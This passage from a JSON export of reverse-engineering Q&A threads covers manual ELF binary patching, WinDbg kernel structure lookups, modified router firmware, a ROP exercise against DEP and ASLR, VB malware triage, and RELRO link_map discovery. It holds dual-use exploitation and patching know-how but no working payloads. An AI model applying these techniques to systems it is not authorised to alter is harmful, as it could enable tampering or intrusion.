        "Answer": "<p>I compiled your program on Ubuntu 14.04 and put it on <a href=\"https://mega.co.nz/#!gdRRxRzZ!dw08GEHvXeTxXqurcpMLOxpXVjZa807TJN0PH60h4Rg\">https://mega.co.nz/#!gdRRxRzZ!dw08GEHvXeTxXqurcpMLOxpXVjZa807TJN0PH60h4Rg</a>;\nyou might want to use that binary if you want to retrace the following\nsteps, because if you don't have the exact version of the C compiler and\nlibs, your binary might be different.</p>\n\n<p>The file is a zip that includes the original detour.c, the compiled program (detour.orig), and the patched one (detour.patched).</p>\n\n<p>First, let's disassemble the binary using objdump:</p>\n\n<pre><code>$ objdump -d detour.orig|less\n.. stuff omitted ..\n000000000040057d &lt;hello&gt;:\n  40057d:       55                      push   %rbp\n  40057e:       48 89 e5                mov    %rsp,%rbp\n  400581:       bf 34 06 40 00          mov    $0x400634,%edi\n  400586:       b8 00 00 00 00          mov    $0x0,%eax\n  40058b:       e8 d0 fe ff ff          callq  400460 &lt;printf@plt&gt;\n  400590:       bf 3b 06 40 00          mov    $0x40063b,%edi\n  400595:       e8 b6 fe ff ff          callq  400450 &lt;puts@plt&gt;\n  40059a:       5d                      pop    %rbp\n  40059b:       c3                      retq\n\n000000000040059c &lt;main&gt;:\n  40059c:       55                      push   %rbp\n  40059d:       48 89 e5                mov    %rsp,%rbp\n  4005a0:       e8 d8 ff ff ff          callq  40057d &lt;hello&gt;\n  4005a5:       5d                      pop    %rbp\n  4005a6:       c3                      retq\n  4005a7:       66 0f 1f 84 00 00 00    nopw   0x0(%rax,%rax,1)\n  4005ae:       00 00\n00000000004005b0 &lt;__libc_csu_init&gt;:\n.. more stuff omitted ..\n</code></pre>\n\n<p>and also check the data sections:</p>\n\n<pre><code>$ objdump  -s detour.orig | less\n.. stuff omitted ..\nContents of section .rodata:\n 400630 01000200 48656c6c 6f200077 6f726c64  ....Hello .world\n 400640 2100                                 !.\nContents of section .eh_frame_hdr:\n.. more stuff omitted ..\n</code></pre>\n\n<p>As you see, the strings <code>Hello</code>, <code>world</code> are in the read-only data section, at 400634 and 40063b. These offsets are passed\nto <code>printf</code> and <code>puts</code> in <code>hello</code>. Why <code>puts</code>? Well, the optimizer is clever enough to rewrite a printf of a constant string\nthat ends in '\\n' into a puts; you can see the '\\n' is omitted from the string in the .rodata section.</p>\n\n<p>Now, we want to insert a <code>puts(\"detoured\")</code>. But there's no space in the hello function, and if we tried to insert some bytes\nthere, everything else in the program would be moved, which we want to avoid. Also, there's no space in the .rodata section\nfor another string, the .eh_frame_hdr starts directly behind it.</p>\n\n<p>However, check address 4005a7. The main function returns at 4005a6, and the C compiler used some padding to get the next\nfunction,  __libc_csu_init, at a 16-byte boundary. Which means there are a few unused bytes that we can make use of.\nLooking through the rest of the disassembly, we find some more bytes like that:</p>\n\n<pre><code>4004ba          66 0f 1f 44 00 00\n4004e9          0f 1f 80 00 00 00 00\n400529          0f 1f 80 00 00 00 00\n4005a7          66 0f 1f 84 00 00 00 00 00\n400615          66 66 2e 0f 1f 84 00 00 00 00 00\n</code></pre>\n\n<p>The last one of these, 400615, has the size to fit the \"detoured \" string in.</p>\n\n<p>Now what we're going to do with the assembly is patch it to:</p>\n\n<pre><code>400590          jmp 4004e9                              e9 54 ff ff ff\n4004e9          mov $0x400615, %edi; jmp 400529         bf 15 06 40 00 eb 39\n400529          callq 400460; jmp 4005a7                e8 32 ff ff ff eb 77\n4005a7          mov 0x40063b, %edi; jmp 400595          bf eb 06 40 00 eb e7\n</code></pre>\n\n<p>which overwrites the instruction at 400590, places the required instructions in the spare bytes, adds jumps between the parts,\nand restores the overwritten mov before jumping to the next instruction.</p>\n\n<p>Now, it's time to use a hex editor to apply these patches to the binary (don't forget to move the 'detoured ' string to 400615\nas well). The resulting binary should be identical to detour.patched from the zip.</p>\n\n<p>Last, we run the patched program:</p>\n\n<pre><code>$ detour.patched\nHello detoured world!\n</code></pre>\n\n<p>As you see, the trick is to make us of unused regions within the program, to avoid moving stuff around, which would break offsets.\nI cheated a bit when i put the \"detoured\" string into the code section - this would fail if anything wanted to write-access the string.\nIf i wanted writable data, i would need to use the data section, and possibly even extend it - but that case is much more\ncompliated since i'd have to fiddle with the ELF headers and sizes, and i'd probably need specific ELF tools to get it right.\nThe current example needs nothing but a hex editor. I even crafted the hex coded manually from the opcodes; to get a bit more \nsophisticated, use the radare2 tool.</p>\n"
    },
    {
        "Id": "6483",
        "CreationDate": "2014-10-16T15:13:55.870",
        "Body": "<p>On a x64 Windows 7 I want to get the limits of non paged pool. I know that _KDDEBUGGER_DATA64 structure has this information (fields like MmNonPagedPoolStart and MmNonPagedPoolEnd). \nOn x86 systems this structure was obtained from KPCR.KdVersionBlock, but looking with WinDbg at KPCR's on x64 systems, KdVersionBlock seems to always be null. </p>\n\n<p>Is there a way of getting this structure? Or another way of getting what I want? Maybe I'm not looking in the right place. </p>\n",
        "Title": "Obtaining MmNonPagedPoolStart on x64 systems",
        "Tags": "|windows|memory|",
        "Answer": "<p><code>nt!KdDebuggerDatablock</code> used to be a public global symbol in NT</p>\n\n<pre><code>lkd&gt; x/v nt!KdDebuggerDataBlock\npub global 80545b60             0 nt!KdDebuggerDataBlock = &lt;no type information&gt; \n</code></pre>\n\n<p><code>dpS  nt!KdDebuggerDataBlock lxxxx</code> should fetch the <code>NonPagedPoolStart</code>  </p>\n\n<pre><code>lkd&gt; !grep -i -c \"dpS nt!KdDebuggerDataBlock la5\" -e \"pool\"\n 8055b5a0 nt!ExpPagedPoolDescriptor\n 8054ab2c nt!ExpNumberOfPagedPools\n nt!MmMaximumNonPagedPoolInBytes\n 80553cb8 nt!MmNonPagedPoolStart\n</code></pre>\n\n<p>This should get the complete structure</p>\n\n<pre><code>lkd&gt; .printf \"%ma\\t%08x\\n\" , nt!KdDebuggerDataBlock+10,poi(nt!KdDebuggerDataBlock+14)\nKDBG    00000290\nlkd&gt; .for (r $t0=0 ; @$t0 &lt;poi(nt!KdDebuggerDataBlock + 14) ; r $t0 = @$t0+4) { .printf \"%08x\\t%08x\\t%y\\n\", (nt!KdDebuggerDataBlock + @$t0) ,poi(nt!KdDebuggerDataBlock + @$t0) ,poi(nt!KdDebuggerDataBlock + @$t0) }\n</code></pre>\n"
    },
    {
        "Id": "6503",
        "CreationDate": "2014-10-19T15:58:16.097",
        "Body": "<p>I have managed to get a root shell on my web filtering router by plugging into a UART on the PCB which allowed me to see a process (lockbox.bin - ELF executable) running which handles most of the filtering functions. After extracting the lockbox.bin file and analyzing it with IDA pro, I've made some modifications to the file. I now need to get it back on the device to see if the changes worked, but when I try to make changes to the filesystem I get a message saying that the file system is read only. I suppose it's only a matter of mounting the filesystem as read/write, but I'm not sure how to do that (Access the boot loader?). The Busybox instance on the device is missing the mount command. The router in question is a re-branded realtek rtl8196b. </p>\n\n<p>Any Suggestions?</p>\n\n<p>Disclaimer: This is the first time that I've have done something like this so I may be missing a very basic step. Any help would be appreciated.</p>\n",
        "Title": "How do I restore modified firmware to a read only mount",
        "Tags": "|disassembly|linux|embedded|",
        "Answer": "<p>It's very probable that the firmware is stored in a <code>squashfs</code> image, which is compressed (and supposed to be read-only - it can't be mouted read-write, but must be created through external means), The squashfs image will probably be stored in some piece of flash ram, which can be accessed as <code>/dev/mtbn</code> on many linux embedded devices, which multiple values of <code>n</code> refering to different parts of the firmware (boot loader etc.). </p>\n\n<p>Often, the boot loader itself is in <code>/dev/mtb0</code>, and has commands to write to the other <code>/dev/mtb</code> blocks.</p>\n\n<p>So, your course of action would be</p>\n\n<ul>\n<li>dump the various <code>/dev/mtb</code> blocks to files, check which is a squashfs, or maybe different type of file system, that contains your lockbox.bin</li>\n<li>rebuild that filesystem with your different version of lockbox.bin, and hope it doesn't grow significantly larger to exceed the size of the <code>/dev/mtb</code> block</li>\n<li>check how to boot to the boot loader from outside, without starting linux</li>\n<li>use some boot loader to flash that filesystem to the router</li>\n<li>reboot the router, and hope you didn't brick it in the process.</li>\n</ul>\n\n<p>As you say</p>\n\n<blockquote>\n  <p>This is the first time that I've have done something like this</p>\n</blockquote>\n\n<p>the chance of </p>\n\n<blockquote>\n  <p>brick it in the process.</p>\n</blockquote>\n\n<p>is certainly non-zero, so proceed with caution.</p>\n"
    },
    {
        "Id": "6506",
        "CreationDate": "2014-10-20T08:33:51.973",
        "Body": "<p>I am currently participating in a reverse code engineering seminar for my studies in informatics: games engineering and was assigned the topic about \"Identifying data structures\". After an extensive talk with my supervisor we both came to the conclusion that it would make sense that i combine the topic with reversing game binaries.\nOur deliverables are a 15 page paper and a small tool implementing the techniques we talk about in the paper. We do not necessarily need to invent a new technique. </p>\n\n<p>I already did some research about reverse engineering data structures in general and came up with mostly tools that automatically reverse engineer data structures from binary execution (e.g. <a href=\"https://www.utdallas.edu/~zxl111930/file/Rewards_NDSS10.pdf\">https://www.utdallas.edu/~zxl111930/file/Rewards_NDSS10.pdf</a>)</p>\n\n<p>Now my question is: What would be a reasonable tool to program or a technique to write about in relation to reversing data structures from video game binaries (like World of Warcraft)? Is the method mentioned in the paper above still applicable to game binaries or are there any other known techniques?</p>\n\n<p>I do have some experience when it comes to reverse engineering, but i am no where near \"pro\"-level. I am mostly working on a Windows (x64) platform.</p>\n",
        "Title": "Reverse Engineering of data structures in games",
        "Tags": "|windows|c++|",
        "Answer": "<p>If you consider a different approach, that is statically analyze the data formats without binary execution, I suggest to have a look at <a href=\"http://reversingonwindows.blogspot.sg/2014/04/examining-unknown-binary-formats.html\" rel=\"nofollow\">this</a> blog post describing \"the methods for examining unknown binary formats that can be either a file, file fragment, or memory dump.\"</p>\n"
    },
    {
        "Id": "6512",
        "CreationDate": "2014-10-21T09:57:59.503",
        "Body": "<p>I am trying to teach myself some ROP programming. And I have tried\nto do some training exploits from different sites. So, right now, I have this\nlittle application where GS, safeSEH ALSR and DEP are enabled (on application level not on OS). So, when I make an attempt to exploit this application it works pretty well ( <a href=\"http://pastebin.com/TdDR3W0y\" rel=\"nofollow\">http://pastebin.com/TdDR3W0y</a>). It just pops <code>calc.exe</code>. </p>\n\n<p>But, on the other side, when I enable OS level DEP, then my exploit generates a segfault and crashes the application. </p>\n\n<p>So, my question is what is the difference between application level DEP and OS level DEP ? Do, I have to make other/different function calls (instead to VirtualProc) when I try to circumvent DEP ?</p>\n",
        "Title": "What is the difference between application level DEP and OS level DEP?",
        "Tags": "|debuggers|exploit|",
        "Answer": "<p>Based on the hard-coded values in your code, you are not defeating ASLR at all (0x7c801ad4, 0x0012fbd0, 0x0012fbd0), and perhaps the application does not support it either (0x1003c898, 0x10086d6a), because none of those values should be constant when ASLR is working properly.  The likely reason why you are seeing segfaults is because the 0x7c801ad4 for VirtualAllocEx() probably moved between reboots, as a result of ASLR, but which is visible as a side-effect of enabling DEP and then rebooting.</p>\n"
    },
    {
        "Id": "6515",
        "CreationDate": "2014-10-21T21:28:48.993",
        "Body": "<p>I have downloaded a sample of a malware to analyze it. First, I opened it with PEiD to look if it is packed. \nPEiD gives me the following information:</p>\n\n<pre><code>   Microsoft Visual Basic 5.0/6.0\n</code></pre>\n\n<p>So, I assumed that it is not packed. \nWhen I opened it using ollydbg shows me the following lines:</p>\n\n<pre><code>   PUSH malware.00401F8C\n   CALL &lt;JMP.&amp;MSVBVM60.#100&gt;\n   ADD BYTE PTR DS:[EAX],AL\n   ADD BYTE PTR DS:[EAX],AL\n   ADD BYTE PTR DS:[EAX],AL\n   ADD BYTE PTR DS:[EAX],AL\n   ADD BYTE PTR DS:[EAX],AL\n   INC EAX\n   ADD BYTE PTR DS:[EAX],AL\n   ADD BYTE PTR DS:[EAX],AL\n   ADD BYTE PTR DS:[EAX],AL\n   DB 00\n   DB 1D\n   ....\n   ....\n</code></pre>\n\n<p>So, normally it should start with a function prologue(the typical beginning line with PUSH EBP and so on) but although it is not packed, obviously the program tries to make the analyzing process harder (for me). \nWhen I step to the second line( CALL &lt;...>), then the process begins to run and does not stop. In my previous cases, I have only unpacked malware samples that were packed with UPX. So, a piece of code like that above is completely new for me. So:</p>\n\n<p>How should I solve this? Can someone give me an advice how I can handle that?</p>\n\n<p>best regards, </p>\n",
        "Title": "Unpacking a program which seems to be not packed?",
        "Tags": "|unpacking|visual-basic|",
        "Answer": "<p>Your program is not packed, but rather compiled as <a href=\"http://www.woodmann.com/crackz/Tutorials/Vbpcode.htm\" rel=\"noreferrer\">Visual Basic P-code</a> or Visual Basic native code.</p>\n\n<p>If it's VB native code, you can use your favorite debugger (OllyDbg, IDA, etc.) to debug it, and IDA to disassemble it.</p>\n\n<p>If it's VB P-code, you can use <a href=\"http://www.vb-decompiler.org/\" rel=\"noreferrer\">VB Decompiler Pro</a> to disassemble/decompile it:\n<img src=\"https://i.stack.imgur.com/ofVTM.png\" alt=\"VB Decompiler Pro\"></p>\n\n<p>... and <a href=\"http://blackfenix.fortunecity.ws/wktvbdebug/index.html\" rel=\"noreferrer\">WKTVBDE</a> to debug it:\n<img src=\"https://i.stack.imgur.com/gkZov.jpg\" alt=\"enter image description here\"></p>\n\n<p>Note that VB Decompiler Pro is useful even for statically analyzing VB native code.</p>\n"
    },
    {
        "Id": "6521",
        "CreationDate": "2014-10-22T18:31:59.687",
        "Body": "<p>I keep coming across a compiling pattern that IDA doesn't automatically handle well.  Consider the following example:</p>\n\n<pre><code>mov rax, rsp       ; Set rax at the start of the function\n...\nlea rbp, [rax-5Fh] ; Shortly afterward, set rbp as the frame pointer at a nonstandard offset\n...\nmov [rbp+3Fh], rcx ; Reference all stack offsets from rbp for the rest of the function\n...\n</code></pre>\n\n<p>In this example, it appears that IDA has lost track of <code>rbp</code>'s state as an offset into the stack frame, presumably because of the additional indirection.  (We copy from <code>rsp</code> to <code>rax</code> to <code>rbp</code>, rather than just from <code>rsp</code> to <code>rbp</code>)</p>\n\n<p>I would like the above example to look something more like this:</p>\n\n<pre><code>var_20= qword ptr -20h\n...\nmov [rbp+5Fh+var_20], rcx\n</code></pre>\n\n<p>However, as one would expect, if I change the type of <code>3Fh</code> to be a stack offset, I get the following:</p>\n\n<pre><code>arg_37= qword ptr 3Fh\n...\nmov [rbp+arg_37], rcx\n</code></pre>\n\n<p>Which is obviously not correct.  I have two questions:</p>\n\n<ul>\n<li><strong>Is it possible to generate the desired output?</strong></li>\n<li><strong>If not, how would one normally deal with this?</strong></li>\n</ul>\n\n<p>Solutions I am aware of:</p>\n\n<ul>\n<li>I could create a structure for the stack frame and specify the offset delta (occasionally also adjusting for <a href=\"http://www.hexblog.com/?p=63\">negative offsets</a>).  The downsides are that I would have to create a structure for each stack frame I analyze, and I would also not have cross-references.</li>\n<li>I could just use the incorrect offsets in the stack frame.  This would give me cross-references, but I would expect things to break when touching <code>r</code>, the offset storing the return address.</li>\n</ul>\n\n<p>Also relevant: I'm using IDA Pro 6.2.</p>\n",
        "Title": "Is it possible to force IDA to acknowledge unusual frame pointer deltas?",
        "Tags": "|ida|",
        "Answer": "<p><code>Alt+P</code> will bring up the <code>Edit function</code> screen.</p>\n\n<p>Make sure <code>BP based frame</code> is checked, and enter your value <code>0x5F</code> into the box marked <code>Frame pointer delta</code>.</p>\n"
    },
    {
        "Id": "6525",
        "CreationDate": "2014-10-23T09:29:57.687",
        "Body": "<p>When linking a binary with <code>-Wl,-z,relro,-z,now</code>, all relocations are performed at start-up before passing control to the binary.</p>\n\n<p>Because of this, there is no need for the <code>.got.plt</code> segment.  Normally, a pointer to the linker's <code>link_map</code> structure is stored in this segment.</p>\n\n<p>When compiled with full RELRO, where, if anywhere, can a copy of the <code>link_map</code> be obtained without consulting other loaded libraries, or <code>libdl</code>?</p>\n\n<p>The place one would expect it to be -- in the segment marked with the tag <code>DT_PLTGOT</code> -- it does not appear.  Instead, there's just a link back to Program Header of type <code>PT_DYNAMIC</code>.  The slot in the segment marked <code>DT_GOTPLT</code> starts with the offset of the <code>DYNAMIC</code> section, and does not contain any pointers to the link map.</p>\n\n<p>Headers</p>\n\n<pre><code>$ readelf -a amd64-pwntest-relro | egrep -i '(_dynamic|pltgot)'\n 0x0000000000000003 (PLTGOT)             0x202eb8\n    48: 0000000000202ca8     0 OBJECT  LOCAL  DEFAULT   21 _DYNAMIC\n</code></pre>\n\n<p>Binary is RELRO</p>\n\n<pre><code>$ checksec.sh --file amd64-relro\nRELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE\nFull RELRO      No canary found   NX disabled   PIE enabled     No RPATH   No RUNPATH   amd64-relro\n</code></pre>\n\n<p>GDB shows that the data at the specified offset, at runtime, does not contain a link map pointer.</p>\n\n<pre><code>$ gdb ./amd64-relro\ngdb-peda$ start\ngdb-peda$ vmmap relro\nStart              End                Perm      Name\n0x0000555555554000 0x0000555555556000 r-xp      /home/user/pwntools-regression/src/amd64-relro\n0x0000555555756000 0x0000555555757000 r-xp      /home/user/pwntools-regression/src/amd64-relro\n0x0000555555757000 0x0000555555758000 rwxp      /home/user/pwntools-regression/src/amd64-relro\ngdb-peda$ telescope 0x0000555555554000+0x202eb8 5\n00:0000|  0x555555756eb8 --&gt; 0x202ca8 \n01:0008|  0x555555756ec0 --&gt; 0x0 \n02:0016|  0x555555756ec8 --&gt; 0x0 \n03:0024|  0x555555756ed0 --&gt; 0x7ffff7675870 (&lt;__GI___libc_free&gt;:        mov    rax,QWORD PTR [rip+0x33b671]        # 0x7ffff79b0ee8)\n04:0032|  0x555555756ed8 --&gt; 0x7ffff79c0430 (&lt;__pthread_create_2_1&gt;:    push   rbp)\n</code></pre>\n",
        "Title": "ELF link_map when linked as RELRO",
        "Tags": "|linux|elf|got|plt|",
        "Answer": "<p>If the binary has a <code>DT_DEBUG</code> entry in the <code>PT_DYNAMIC</code> area, it will be filled with a pointer to the <code>r_debug</code> symbol in the dynamic linker.</p>\n\n<pre><code>test:00007F17ED7DDDB0 Elf64_Dyn &lt;DT_SYMENT, 18h&gt;\ntest:00007F17ED7DDDB0 Elf64_Dyn &lt;DT_DEBUG, offset _r_debug&gt;\ntest:00007F17ED7DDDB0 Elf64_Dyn &lt;DT_PLTGOT, offset _GLOBAL_OFFSET_TABLE_&gt;\n</code></pre>\n\n<p>The second field in <code>r_debug</code> is the pointer to <code>link_map</code>:</p>\n\n<pre><code>debug001:00007F17ED5DC1A0 _r_debug dd 1                                    ; r_version\ndebug001:00007F17ED5DC1A0 db 0, 0, 0, 0\ndebug001:00007F17ED5DC1A0 dq offset _link_map_head                ; r_map\ndebug001:00007F17ED5DC1A0 dq offset _dl_debug_state               ; r_brk\ndebug001:00007F17ED5DC1A0 dd RT_ADD                               ; r_state\ndebug001:00007F17ED5DC1A0 db 0, 0, 0, 0\ndebug001:00007F17ED5DC1A0 dq 7F17ED3B8000h                        ; r_ldbase\n</code></pre>\n"
    },
    {
        "Id": "6535",
        "CreationDate": "2014-10-25T04:12:41.133",
        "Body": "<p>Hopefully I can find someone who can help me with this.</p>\n\n<p>I have become fascinated with electronic cigarettes and one of the more popular regulated chips for sale tout's its ability to change logos.</p>\n\n<p>The chip is the YiHi E-Cigcar.\nThe firmware for the chip can be found <a href=\"http://www.yihiecigar.com/download_info/Upgrade-Software-for-SX350-50w-ONLY_OldBoot_YH_Logo_60W_20140813-Screen-flip_V2-4-d59228.html\" rel=\"nofollow\">http://www.yihiecigar.com/download_info/Upgrade-Software-for-SX350-50w-ONLY_OldBoot_YH_Logo_60W_20140813-Screen-flip_V2-4-d59228.html</a>  </p>\n\n<p>I've downloaded a YouTube publisher's software the \"changes\" the logo, however, after decompiling his .NET application, I'm not convinced this wouldn't brick my chip.\n<a href=\"https://www.youtube.com/watch?v=kTy0AKTYzrg\" rel=\"nofollow\">https://www.youtube.com/watch?v=kTy0AKTYzrg</a></p>\n\n<p>I've written an application that reads the entire string in as hex, and converts to binary (assuming the firmware was unencrypted, and I could find an index of part of the image I'm looking for), but no luck. </p>\n\n<p>I'm not convinced that this firmware isn't packed in some way, but I haven't the slightest idea on how to go about finding it.</p>\n\n<p>If anyone could give some advice or has any idea on how to unpack / search for the logo's another way this would be fantastic. </p>\n\n<p>Not that this is a need, it keeps me up at night because, I'm just one of those people who can't leave a problem unsolved... probably like a lot of you reading this.</p>\n\n<p>Anyone who's up for the challenge it would be much appreciated.</p>\n",
        "Title": "Monochrome image replacement within firmware",
        "Tags": "|firmware|",
        "Answer": "<p>Compile this program (rename your file to out1.SXI, or change the file name in the program):</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint main(int argc, char **argv) {\n    char buf[256];\n    int i, j;\n    FILE *fp;\n    int pos=0;              // file position\n    int bpr=0;              // bits / bytes per row\n    int blockno=0;          // 6 blocks * 8 bits = 48 rows\n    if (argc&gt;=2)\n            bpr=atoi(argv[1]);\n    if (bpr==0)\n            bpr=64;\n    if (argc&gt;=3) {\n            pos=strtol(argv[2], NULL, 0);\n    }\n\n    if ((fp=fopen(\"out1.SXI\", \"rb\"))==NULL) {\n            perror(\"out1.SXI\");\n            exit(1);\n    }\n    fseek(fp, pos, 0);\n    while(fread(buf, bpr, 1, fp)) {\n            if (blockno++%6==0)\n                    printf(\"%06x\\n\", pos);\n            for (j=128; j&gt;0; j&gt;&gt;=1) {\n                    for (i=0; i&lt;bpr; i++) {\n                            if (buf[i]&amp;j)\n                                    putchar('X');\n                            else\n                                    putchar(' ');\n                    }\n                    putchar('|');\n                    putchar('\\n');\n            }\n            pos+=bpr;\n    }\n}\n</code></pre>\n\n<p>then run it as</p>\n\n<pre><code>$ xdump 64 0x83D4 | less\n$ xdump 64 0x10FC8 | less \n</code></pre>\n\n<p>I'm pretty sure these are images, though i can't make sense of them; but maybe you can if you compare them to what the device shows if you flash the firmware.</p>\n\n<p>Also, this assumes the display has a 64x48 pixel resolution like the one in the movie; you might want to take a picture through a magnifying glass to check they haven't changed the resolution. Although 64x48 is what my program assumes as well when it generates these images.</p>\n\n<p>Of course, the file you get when you unpack the .rar seems to be much larger than the file in the movie, if the offsets shown are byte offsets. Possibly, the firmware consists of two part, one factory part (which is the firmware you can download) and a OEM/vendor part that has the images (which you can't download, but which is used in the movie), with the firmware upgrader deciding which one to overwrite depending on the file format/contents.</p>\n"
    },
    {
        "Id": "6540",
        "CreationDate": "2014-10-29T12:43:23.033",
        "Body": "<p>When trying to write an instruction set analysis tool for disassembled code (<a href=\"https://superuser.com/a/832440/384221\">https://superuser.com/a/832440/384221</a>) I have found opcode MOVABS which was not included in my opcode source database (Shirk's <code>gas.vim</code> file) and I am not sure in which architecture it has been introduced.</p>\n\n<p>According to <a href=\"https://reverseengineering.stackexchange.com/q/2627/9891\">What is the meaning of movabs in gas/x86 AT&amp;T syntax?</a> and other sources it seems that the instruction has been introduced before 64-bit architectures. But was it with i686 or earlier?</p>\n\n<p>Thank you.</p>\n",
        "Title": "When was the MOVABS instruction introduced?",
        "Tags": "|x86|amd64|gas|",
        "Answer": "<p>As Igor mentioned, it's GAS specific.</p>\n\n<pre><code>git log --reverse -Smovabs\n</code></pre>\n\n<p>tells us that it was introduced <a href=\"https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;a=commitdiff;h=c0d8940f87f55d81d2a68b9333e494b48c1a49d3;hp=087f563c287b29cb52d78072d019764cf78124c8\" rel=\"noreferrer\">in 2000 commit c0d8940</a> and:</p>\n\n<pre><code>git tag --contains c0d8940\n</code></pre>\n\n<p>says that it was present as early as <code>binutils-2_11</code>.</p>\n"
    },
    {
        "Id": "6550",
        "CreationDate": "2014-10-31T07:03:42.043",
        "Body": "<p>I am familiar with debuggers and sorts. I was going through a program and noticed that IDA does make some mistakes on what it decides what on its pseudo code will be.</p>\n<p>Is there a list of common mistakes by IDA and do you think that it would be possible to get something to a compilable source?</p>\n<p>I thought I would test it out on some programs and one thing weird I noticed is that it will do:</p>\n<pre><code>v1 = thiscall();\n</code></pre>\n<p>Where as in source I just have the <code>thiscall();</code>.</p>\n<p>I also noticed that it bloats a lot of things which is from the assembly itself.</p>\n<p>So my questions are:</p>\n<ul>\n<li>Is there a list of common IDA mistakes ?</li>\n<li>Can once I have worked back fairly close to source will IDA produce a header file ?</li>\n<li>Is it possible to get back to a source that I could at least compile code from?</li>\n</ul>\n<p>Its looking like I might be able to providing if I knew the libraries and outline of the program well. Let me know what your thoughts and experiences from using IDA on this subject.</p>\n<p><strong>Edit:</strong>\nI found a project that actually did this. All functions are byte for byte in 100% accuracy. So yes my past self, it is indeed possible.\n<a href=\"https://github.com/diasurgical/devilution\" rel=\"nofollow noreferrer\">https://github.com/diasurgical/devilution</a></p>\n",
        "Title": "Is it possible to get back to a compilable form of source code using IDA pro",
        "Tags": "|ida|disassembly|c++|",
        "Answer": "<p>You can't get anything back that compiles, or even assembles, without <em>massive</em> manual intervention, and, given the ambiguities in object code, it's very unlikely this situation will ever change.</p>\n\n<p>See <a href=\"https://reverseengineering.stackexchange.com/questions/3800/why-there-are-not-any-disassemblers-that-can-generate-re-assemblable-asm-code\">Why there are not any disassemblers that can generate re-assemblable asm code?</a> for a more detailed answer.</p>\n"
    },
    {
        "Id": "6559",
        "CreationDate": "2014-11-02T09:57:49.667",
        "Body": "<p>In OllyDbg 110 there is a point: \"Message breakpoint on ClassProc\".\n<img src=\"https://i.stack.imgur.com/wGu45.png\" alt=\"OllyDbg 110\"></p>\n\n<p>At OllyDbg 2.01 I can not find it:</p>\n\n<p><img src=\"https://i.stack.imgur.com/4FpW6.png\" alt=\"OllyDbg 2.01\"></p>\n",
        "Title": "How to set Message Breakpoints on button in ollyDbg 2.01?",
        "Tags": "|ollydbg|",
        "Answer": "<pre><code>use conditional log breakpoint and set multiple conditions\n</code></pre>\n\n<p><img src=\"https://i.stack.imgur.com/FTZZq.png\" alt=\"enter image description here\"></p>\n"
    },
    {
        "Id": "6565",
        "CreationDate": "2014-11-03T00:39:29.783",
        "Body": "<p>In an assembly line, I have a call to <code>gethostbyname(...)</code>. I have read that the return value of that function can be a pointer to a <code>hostent</code> structure\n(of course, it could be also a null pointer but for my question I need the pointer to the hostent structure)</p>\n<p>I also take a look to the hostent structure which is the following:</p>\n<pre><code>   typedef struct hostent{\n    char FAR *h_name;\n    char FAR FAR **h_aliases;\n    short h_addrtype;\n    short h_length;\n    char FAR FAR **h_addr_list;\n   } HOSTENT, *PHOSTENT, FAR *LPHOSTENT;\n\n \n</code></pre>\n<p>So, some lines later the following appears:</p>\n<pre><code>  mov edx, [eax+0Ch]\n</code></pre>\n<p>I know that the return value of a function is stored in <code>eax</code>. So, when <code>eax</code> points to <code>hostent</code> structure, then <code>edx</code> must point to one of the <code>hostent</code> structure <code>members</code>, because the offset is <code>0Ch</code>.</p>\n<p>To determine which of the member it is, i know that I must count the sizes of the members. And here comes my question:</p>\n<blockquote>\n<p>When I count until I reach the offset <code>0Ch</code>, which of these types I must take? I mean, when you look at the first member, for example:</p>\n<pre><code>char FAR *h_name; \n</code></pre>\n<p>Is the size of <code>char</code> relevant or the size of <code>FAR</code> ? Or both ?</p>\n</blockquote>\n<p>I hope someone can explain me that.</p>\n",
        "Title": "Locate member of a structure",
        "Tags": "|assembly|struct|offset|pointer|",
        "Answer": "<p>A sample walkthrough containing few lines of code compiled in msvc++exp and windbagged in 32 bit machine</p>\n\n<pre><code>int _tmain(int argc, _TCHAR* argv[]) {\n    WSADATA wsaData;    \n    in_addr addr;\n    hostent *myhost;\n        if ((WSAStartup(MAKEWORD(2, 2), &amp;wsaData)) == 0)\n        if ( ( myhost = gethostbyname(\"www.google.com\") ) != NULL) {\n            printf(\"host name = %s\\n\",myhost-&gt;h_name);\n            if (myhost-&gt;h_addrtype == AF_INET) {\n                addr.s_addr = *(u_long *) myhost-&gt;h_addr_list[0];\n                printf(\"IPv4 Addr = %s\\n\",inet_ntoa(addr));\n            }\n        }    \n        return 0;\n}\n</code></pre>\n\n<p>run the compiled exe in windbg with a conditional break point as below\nexplanation being </p>\n\n<pre><code>break when ws2_32!gethostbyname is called\ngu is to go up back to caller (eax will hold * to hostent structure)\ndisplay the structure pointed by eax with a c++ expression evaluator  ?? and quit\n</code></pre>\n\n<p>.</p>\n\n<pre><code>:\\&gt;cdb -c \"bp ws2_32!gethostbyname \\\"gu ; r eax; ?? (hostent *) @eax;q\\\";g\" ghostbyname.exe    \n0:000&gt; cdb: Reading initial command 'bp ws2_32!gethostbyname \"gu ; r eax; ?? (ho\nstent *) @eax;q\";g'\neax=0016c3b8\nstruct hostent * 0x0016c3b8\n   +0x000 h_name           : 0x0016c3f8  \"www.google.com\"\n   +0x004 h_aliases        : 0x0016c3c8  -&gt; (null)\n   +0x008 h_addrtype       : 0n2\n   +0x00a h_length         : 0n4\n   +0x00c h_addr_list      : 0x0016c3cc  -&gt; 0x0016c3e4  \"J}???\"\nquit:\n\n:\\&gt;\n</code></pre>\n\n<p>windbg can also be used to ascertain size of individual members </p>\n\n<pre><code>0:000&gt; ?? sizeof(((hostent *) @eax)-&gt;h_name)\nunsigned int 4\n0:000&gt; ?? sizeof(((hostent *) @eax)-&gt;h_aliases)\nunsigned int 4\n0:000&gt; ?? sizeof(((hostent *) @eax)-&gt;h_addrtype)\nunsigned int 2\n0:000&gt; ?? sizeof(((hostent *) @eax)-&gt;h_length)\nunsigned int 2\n0:000&gt; ?? sizeof(((hostent *) @eax)-&gt;h_addr_list)\nunsigned int 4\n0:000&gt; ?? sizeof(hostent)\nunsigned int 0x10\n</code></pre>\n\n<p>with sizes gleaned thus dumping it in raw format becomes easy to script in an unknown binary </p>\n\n<pre><code>r $t0 = ${$arg1}\n.printf /D \"&lt;b&gt;eax          \\t%p &lt;/b&gt;\\n\",@$t0\n.printf /D \"&lt;b&gt;hostent *    \\t%p &lt;/b&gt;\\n\",poi(@$t0)\n.printf /D \"&lt;b&gt;-&gt;h_name     \\t%ma&lt;/b&gt;\\n\",poi(@$t0)\n.printf /D 